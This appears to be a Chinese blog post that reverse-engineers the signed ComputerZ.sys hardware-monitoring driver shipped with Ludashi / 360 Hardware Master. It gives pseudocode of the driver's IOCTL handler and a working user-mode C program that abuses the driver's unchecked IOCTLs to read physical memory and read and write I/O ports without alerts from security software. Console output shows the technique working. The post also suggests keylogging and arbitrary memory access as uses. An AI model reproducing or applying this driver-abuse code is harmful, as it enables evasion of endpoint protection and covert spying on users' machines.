«

»

21

“RING3″过主防读物理内存、读写IO端口

最近拜读了王爽老师的《汇编语言》,学到了不少东西,终于能勉强逆点简单的小程序了。于是想到了Extreme神犇很早以前提出的这个点子:调用带正规签名的驱动来干坏事- –

鲁大师有正规数字签名,所以它的驱动加载时不会被主防报警,而鲁大师驱动里也没有验证调用者,所以可以利用~

以前ASM完全不懂,用IDA只会F5,一看IoDispatchControl就苦逼了,所以一直搞不定(F5的话,SystemBuffer显示成一个什么.Type,完全驴唇不对马嘴,可怕- -||)

 

于是逆了ComputerZ.sys

一开始我直接拿安装的旧版逆,结果基本接口搞得差不多了之后发现新版的360硬件大师驱动更新了= =旧的没用了。。而内部实现也有变化然后苦逼了,又下了个新的360硬件大师

果然360还是考虑得周到些,加入了SeTokenIsAdmin权限验证,调用Function时对参数的检查也严格了些,不过还是没有验证调用者XD

最后鼓捣鼓捣还是成功了

下面是我逆出的伪码(为啥说是伪码呢?因为我就是边看反汇编边翻译。。只逆了一些关键的接口,没除错,编译不能,所以只能用来看看思路,说是C代码有点对不起观众- -||   逆得很挫,大牛见笑了。。):

#include <ntddk.h>

BOOLEAN read_port_uchar(USHORT usPort, PULONG buffer)
{
    if (!is_port_legal(usPort)) {
        return FALSE;
    }
    _asm {    
        in buffer,usPort
    }
    return TRUE;
}

BOOLEAN read_physical_address_by_uchar(PHYSICAL_ADDRESS PhyAddr)
{
    PUCHAR Register = MmMapIoSpace(PhyAddr.LowPart, 0, 4, 0);
    if (Register == NULL) {
        return FALSE;
    }
    READ_REGISTER_BUFFER_UCHAR(Register, &PhyAddr.HighPart, 4);
    MmUnmapIoSpace(Register, 4);
    return TRUE;
}

BOOLEAN read_physical_address_by_ulong(PHYSICAL_ADDRESS PhyAddr, ULONG NumberOfBytes)
{
    PULONG Register = MmMapIoSpace(PhyAddr.LowPart, 0, NumberOfBytes, 0);
    if (Register == NULL) {
        return FALSE;
    }
    READ_REGISTER_BUFFER_ULONG(Register, &PhyAddr.HighPart, NumberOfBytes / 4);
    MmUnmapIoSpace(Register, NumberOfBytes);
    return TRUE;
}

NTSTATUS __stdcall DispatchIoControl(int DeviceObject, PIRP Irp)
{
    NTSTATUS ulReturn = STATUS_SUCCESS;
    PIO_STACK_LOCATION IrpSp = Irp->Tail.Overlay.CurrentStackLocation;
    if (IrpSp->MajorFunction != IRP_MJ_CREATE && IrpSp->MajorFunction != IRP_MJ_CLOSE) {
        if (IrpSp->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
            if (!check_admin_token()) {   // 验证administrator权限
                ulReturn = 0xC0000022;
                goto skip;
            }
            PVOID pSystemBuffer = pIrp->SystemBuffer;
            if (pSystemBuffer == 0) {
                ulReturn = 0xC000000D;
                goto skip;
            }
            
            //esi = pIrp->SystemBuffer;
            //edi = IrpSp
            ULONG port_data_buffer;
            switch (IrpSp->IoControlCode) {
                // ……
                case 0xF10024C0: {
                    //rdmsr
                    break;
                }
                case 0xF10024C4: {
                    //wrmsr
                    break;
                }
                case 0xF1002500: {
                    //read_physical_address_uchar
                    // 如前文所说,这句判断就是新版驱动里360加的
                    if (IrpSp->InputBufferLength < 12) {
                        ulReturn = 0xC00000EF;
                        goto skip;
                    }
                    if (IrpSp->OutputBufferLength >= pReadBuffer->Length) {
                        //ecx = *pReadBuffer->Address;
                        read_physical_address_uchar((ULONG*)pSystemBuffer, (UCHAR*)four_bytes_buffer);
                        *(ULONG*)pSystemBuffer = *(ULONG*)four_bytes_buffer;
                    } else {
                        ulReturn = 0xC0000206;
                        goto skip
                    }
                    break;
                }
                case 0xF1002508: {
                    //loc_109D6 -> read_physical_address
                    if (IrpSp->InputBufferLength < 12) {
                        ulReturn = 0xC00000EF;
                        goto skip;
                    }
                    if (IrpSp->OutputBufferLength >= pReadBuffer->Length) {
                        // 虽然传过去的是PHYSICAL_ADDRESS结构,不过实际上HighPart是作为缓冲区地址的,即pSystemBuffer,没有考虑4GB以上物理内存
                        PHYSICAL_ADDRESS PhyAddr;
                        PhyAddr.LowPart = *(ULONG*)pSystemBuffer;   // address
                        PhyAddr.HighPart = (ULONG*)pSystemBuffer;   // buffer
                        read_physical_address(PhyAddr, *(ULONG*)(pSystemBuffer + 4));
                    } else {
                        ulReturn = 0xC0000206;
                        goto skip
                    }
                    break;
                }
                case 0xF1002540: {
                    //read_io_port_uchar
                    if (IrpSp->InputBufferLength < 12 || IrpSp->OutputBufferLength < 12 ) {
                        ulReturn = 0xC00000EF;
                        goto skip;
                    }
                    read_port_uchar(*(USHORT*)SystemBuffer, &port_data_buffer);
                    *(ULONG*)SystemBuffer = port_data_buffer;
                    *(ULONG*)(SystemBuffer + 4) = 0;
                    *(ULONG*)(SystemBuffer + 8) = ulReturn;
                    break;
                }
                case 0xF1002544: {
                    //write_io_port_uchar
                    if (IrpSp->InputBufferLength < 12 || IrpSp->OutputBufferLength < 12 ) {
                        ulReturn = 0xC00000EF;
                        goto skip;
                    }
                    port_data_buffer = *(PUCHAR*)(pSystemBuffer + 4);
                    BOOLEAN bStatus = write_port_uchar(*(USHORT*)SystemBuffer, port_data_buffer);
                    if (bStatus != TRUE) {
                        ulReturn = 0xC00000EF;
                        goto skip;
                    }
                    *(ULONG*)SystemBuffer = 0;
                    *(ULONG*)(SystemBuffer + 4) = 0;
                    *(ULONG*)(SystemBuffer + 8) = ulReturn;
                    break;
                }
                case 0xF1002548: {
                    //read_io_port_ushort
                    break;
                }
                case 0xF100254C: {
                    //write_io_port_ushort
                    break;
                }
                case 0xF1002550: {
                    //read_io_port_ulong
                    break;
                }
                case 0xF1002554: {
                    //write_io_port_ulong
                    break;
                }
                case 0xF1002618: {
                    //write_physical_address
                    break;
                }
                // ……
                casedefault: {
                    ulReturn = 0xC0000010;
                    if (IrpSp->InputBufferLength >= 12 && IrpSp->OutputBufferLength >= 12) {
                        write_sub(*(PULONG*)SystemBuffer, *(PULONG*)(SystemBuffer + 4), *(PULONG*)(SystemBuffer + 8));
                    }
                    //????????????????????????????????
                }
            }
        }
    }
    
skip:
    return ulReturn;
}

int __stdcall DriverEntry_Internal(PDRIVER_OBJECT DriverObject, int)
{
    WCHAR SourceString[18] = L"\\Device\\ComputerZ"
    UNICODE_STRING SymbolicLinkName;
    RtlInitUnicodeString(&SymbolicLinkName, SourceString);
    WCHAR DestinationChars[22] = L"DosDevices\ComputerZ";
    UNICODE DestinationString;
    RtlInitUnicodeString(&DestinationString, DestinationChars);
    NTSTATUS Status = IoCreateDevice(DriverObject, 0, &DestinationString, 0xF100, 0, 0);
    if (NT_SUCCESS(Status)) {
        Status = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
        if (NT_SUCCESS(Status)) {
            DriverObject->MajorFunction[IRP_MJ_CREATE] = (PVOID)DispatchIoControl;
            DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PVOID)DispatchIoControl;
            DriverObject->DriverUnload = (PVOID)DriverUnload;
        }
    }
    return 0;
}

跟标题搭边的大概也就这些了,read/write ioport uchar/ushort/ulong一共有六组,只翻译出来一个- -反正调用方式都差不多,内容也大同小异没啥新鲜的,所以懒了…

比较遗憾的是,这里面只有读内存的接口而没有写内存的(有一个写的但没有直接提供接口),所以只能读物理内存,不能写。反正我不作坏事。。。就是研究学习而已,也无所谓= =

 

大致看了代码之后,就可以写Demo测试了,我简单写了一段,用来演示读物理内存0x00处256个字节,读写IO端口实现从CMOS RAM里获得当前系统时间的 日/月/年

代码写得很丑,哎,感觉自己的编码规范不好,正在改!!

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main(void)
{
    // 首先要打开驱动
    HANDLE hDrvHandle = CreateFile("\\\\.\\ComputerZ", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (hDrvHandle == INVALID_HANDLE_VALUE) {
        printf("Opening driver faild! \nPress any key to Exiting…");
        getch();
        return 0;
    }
    // 声明两个必要的变量
    ULONG lDrvRetSize;
    PVOID buffer;

    // 从物理地址0x00处读入256字节
    buffer = (PVOID)calloc(256, sizeof(UCHAR));
    PUCHAR pMemBuf = (PUCHAR)buffer;
    *(PULONG)pMemBuf = 0x00;   // 地址
    *(PULONG)(pMemBuf + 4) = 256 * sizeof(UCHAR);   // 长度
    DeviceIoControl(hDrvHandle, 0xF1002508, pMemBuf, 256 * sizeof(UCHAR), pMemBuf, 256 * sizeof(UCHAR), &lDrvRetSize, 0);
    UINT i;
    for (i = 0; i < 256; i++) {
        printf("%X ", pMemBuf[i]);
    }
    printf("\n\nReading physical memory successful!\n");
    getch();

    // 通过读写0x71,0x70端口从CMOS内存中读取当前时间
    buffer = realloc(buffer, 12);
    PULONG pPortBuf = (PULONG)buffer;

    // 日
    pPortBuf[0] = 0x70;
    pPortBuf[1] = 7;
    DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    pPortBuf[0] = 0x71;
    DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    printf("%ld\n", pPortBuf[0]);

    // 月
    pPortBuf[0] = 0x70;
    pPortBuf[1] = 8;
    DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    pPortBuf[0] = 0x71;
    DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    printf("%ld\n", pPortBuf[0]);

    // 年
    pPortBuf[0] = 0x70;
    pPortBuf[1] = 9;
    DeviceIoControl(hDrvHandle, 0xF1002544, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    pPortBuf[0] = 0x71;
    DeviceIoControl(hDrvHandle, 0xF1002540, pPortBuf, 12, pPortBuf, 12, &lDrvRetSize, 0);
    printf("20%X\n", pPortBuf[0]);

    getch();
    return 0;
}

以上代码WIN32下CodeBlocks(GCC)编译执行成功~可以实现在"RING3"下无提示过主防读物理内存、读写IO端口,当然你要先 运行一遍鲁大师,否则内存里没ComputerZ.sys当然不行。觉得命中率低的话,手动查注册表+CreateProcess~

控制台输出(不贴图了。。):

——————————————————————————————————————————

F3 EE 0 F0 F3 EE 0 F0 C3 E2 0 F0 F3 EE 0 F0 F3 EE 0 F0 54 FF 0 F0 84 7 0 F0 2C 7
 0 F0 A5 FE 0 F0 87 E9 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 57 EF 0
F0 53 FF 0 F0 DD 17 0 C0 4D F8 0 F0 41 F8 0 F0 10 90 0 F0 39 E7 0 F0 59 F8 0 F0
2E E8 0 F0 C0 B6 0 F0 0 E0 0 F0 2C C 0 CE 6E FE 0 F0 53 FF 0 F0 53 FF 0 F0 A4 F0
 0 F0 C7 EF 0 F0 1B C5 0 C0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0
F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0
F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3
EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE
0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0 F3 EE 0 F0

Reading physical memory successful!
4
3
2012

——————————————————————————————————————————

至于有啥用。。仁者见仁智者见智了。。

比如不嫌麻烦的话可以自己解析页表实现访问任意虚拟内存(笔者严重嫌麻烦- -!!!)

IO读写可以用来做键盘记录,大名鼎鼎的WINIO就是这个原理,不过那个早被主防拉黑了。。

 

本来刚做出来感觉挺好的,不过跟某人一聊立刻就被鄙视了,泼了我一头凉水- –

好吧虽然思路是借鉴的,内容也不算颠覆,但我感觉自己在摸索的过程中学到了不少东西,这就是我最大的收获~

2 comments

  1. Extreme

    前排占座~

    [回复]

    Naylon 回复:

    搬运了一些旧博客的东西..然后发现自己真的没啥精华啊

    [回复]

发表评论

电子邮件地址不会被公开。 必填项已用*标注

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>